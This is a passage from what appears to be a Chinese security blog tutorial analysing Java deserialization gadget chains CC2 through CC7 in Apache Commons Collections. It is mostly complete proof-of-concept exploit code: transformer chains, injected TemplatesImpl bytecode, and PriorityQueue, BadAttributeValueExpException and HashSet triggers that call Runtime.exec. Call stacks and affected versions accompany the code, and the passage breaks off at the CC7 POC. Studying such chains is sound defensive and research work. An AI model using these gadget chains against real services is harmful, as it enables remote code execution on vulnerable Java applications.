O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
// ...
}

InvokerTransformer类中的transform方法可以进行invoke调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class InvokerTransformer<I, O> implements Transformer<I, O>, Serializable {
// ...
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} // ...
}
}
}

因此当obj1可控时,可以构造合适的InvokerTransformer类对象赋给obj1来进行反射调用。

分析至此,接下来还需要可触发TransformingComparator类中compare方法的调用链,CC2中使用的是PriorityQueue

PriorityQueue

writeObject方法中会将queue成员变量序列化,此处可用反射调用,因此可控。

1
2
3
4
5
6
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// ...
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}

readObject方法对传入的ObjectInputStream进行反序列化然后赋值给queue数组。

1
2
3
4
5
6
7
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// ...
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

heapify方法中queue可控,此处size需要大于等于2,否则无法进入for循环。

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

comparator不为null时进入siftDownUsingComparator函数,此处x可控,为heapify调用传来的queue

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

进入siftDownUsingComparator函数,跟进调用comparator类的compare函数, 同时x可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

综上所述,利用反射,设置comparatorTransformingComparator,同时x可控,那么这样就可以利用InvokerTransformer触发任意类的任意方法。

因此可以利用CC1中的前半段链,反射控制queue进行触发。于是得到一个CC1.5(。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})});
TransformingComparator transformingComparator = new TransformingComparator(chain);
// 也可通过构造函数直接进行传入
// PriorityQueue queue = new PriorityQueue(1, transformingComparator);
// queue中添加两个,因为上面分析进入siftDown需要size大于等于2
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./evil.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./evil.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}

}
}

CommonsCollections3

CC1+CC2=CC3

影响版本

JDK<8u71

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC3 {

public static void main(String[] args) throws Exception {

// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class}, new Object[] {templates})
});

HashMap innerMap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innerMap, chain);

Constructor handlerConstructor =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler mapHandler =
(InvocationHandler) handlerConstructor.newInstance(Override.class, map);
Map proxyMap =
(Map)
Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[] {Map.class},
mapHandler);

Constructor AnnotationInvocationhandlerConstructor =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationhandlerConstructor.setAccessible(true);
InvocationHandler handler =
(InvocationHandler)
AnnotationInvocationhandlerConstructor.newInstance(
Override.class, proxyMap);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC3"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat536701456497875
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
transform:105, InstantiateTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
invoke:77, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:72, CC3

前置知识

TrAXFilter

TrAXFilter类的构造方法接收传参为Templates类,且构造过程中会调用newTransformer方法,而该方法会触发加载恶意字节码,导致命令执行。

1
2
3
4
5
6
7
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

InstantiateTransformer

InstantiateTransformer类中,transform方法调用了getConstructor方法来构造对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
// ...
}
}

分析总结

根据POC和上面两个类的介绍,很明显的可以看出来,CC3就是缝合了CC2的前半部分和CC1的后半部分,不同之处就仅在于这个调用链的设置。

利用ConstantTransformer类将TrAXFilter.class作为InstantiateTransformer类的输入。

1
2
3
4
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

而后在transform方法中调用了getConstructor方法,并将templates恶意字节码传入来构造TrAXFilter类,最后在TrAXFilter类的构造方法中执行恶意代码。

CommonsCollections4

CC4CC2 上做了一些细微的改动。

影响版本

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {

// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] {Templates.class}, new Object[] {templates}));

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue, 2);

Field comparatorField =
Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC4"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat5042589590958
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
transform:116, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:32, InstantiateTransformer (org.apache.commons.collections4.functors)
transform:112, ChainedTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:63, CC4

分析

重复部门就不赘述了,记一下不同之处。

CC2使用的是InvokerTransformer类的transform方法来反射。

1
2
3
4
5
6
7
8
9
10
11
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

// 将templates链赋值给queue数组,使其在PriorityQueue的readobject中进行下一步序列化操作,传入siftDown为x,传入compare中为obj1,
Object[] queue_array = new Object[]{templates, 1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue, queue_array);

CC4是使用InstantiateTransformer类的transform方法来构造TrAXFilter导致恶意字节码加载。

1
2
3
4
5
6
7
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);

CommonsCollections5

CC5,基于 CC1 的改动。

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
});
HashMap innerMap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innerMap, chain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 123);
BadAttributeValueExpException exception = new BadAttributeValueExpException(1);
Field val =
Class.forName("javax.management.BadAttributeValueExpException")
.getDeclaredField("val");
val.setAccessible(true);
val.set(exception, tiedMapEntry);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC5"));
outputStream.writeObject(exception);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC5"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:42, CC5

原理

TiedMapEntry

TiedMapEntry类的getValue方法调用了map.get

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

TiedMapEntry类的构造方法中可以看见map变量是可控的。

1
2
3
4
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}

而在TiedMapEntry类的如下三个方法中,都调用了getValue方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Map.Entry)) {
return false;
} else {
Map.Entry other = (Map.Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}

public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

public String toString() {
return this.getKey() + "=" + this.getValue();
}

BadAttributeValueExpException

BadAttributeValueExpException类的readObject方法中调用了valObj.toString

可以反射修改val的值为TiedMapEntry类,且System.getSecurityManager()默认为null,因此得以达成触发条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

分析

CC1的不同之处如下。

构造TiedMapEntry类用于触发LazyMapget方法,从而导致ChainedTransformer链的执行。

然后构造BadAttributeValueExpException类,并修改val的值,来使其在反序列化时触发TiedMapEntrytoString方法。

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, tiedmap);

调用栈如下。

1
2
3
4
5
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)

CommonsCollections6

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain =
new ChainedTransformer(
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null}),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null}),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
});

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

HashSet hashset = new HashSet(1);
hashset.add(2);

Field hashSetField = HashSet.class.getDeclaredField("map");
hashSetField.setAccessible(true);
HashMap hashsetMap = (HashMap) hashSetField.get(hashset);

Field hashMapTable = HashMap.class.getDeclaredField("table");
hashMapTable.setAccessible(true);
Object[] array = (Object[]) hashMapTable.get(hashsetMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC6"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC6"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:55, CC6

分析

不同之处在于,CC5使用了TiedMapEntrytoString方法来触发,而CC6使用了hashCode方法来触发。

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

而触发hashCode的话,CC6选用了HashMap类的put方法。

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

跟进hash方法可以看见继续调用了key.hashCode

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

然后接着回溯,HashSet类的writeObject方法会写入map变量的所有key合集。

1
2
3
4
5
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException {
// ...
for (E e : map.keySet())
s.writeObject(e);
}

可以看到这个map变量的类型正好是HashMap类。

1
private transient HashMap<E,Object> map;

readObject则将其读取后进行put操作。

1
2
3
4
5
6
7
8
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// ...
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

HashMap类中,key位于Node变量中,因此需要将构造好的TiedMapEntry链置于HashSet类的map→table→key中。

1
2
3
4
5
6
7
8
9
10
11
12
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
// ...
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
}
// ...
transient Node<K,V>[] table;
// ...
}

而因为上述这一条链的一系列变量基本是private transient修饰,因此CC6的构造需要嵌套多个反射,如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
TiedMapEntry tiedmap = new TiedMapEntry(map, 123);

HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[]) table.get(hashset_map);

Object node = array[0];
if (node == null) {
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedmap);

和反序列化的调用链。

1
2
3
4
5
6
7
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readObject:334, HashSet (java.util)

CommonsCollections7

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
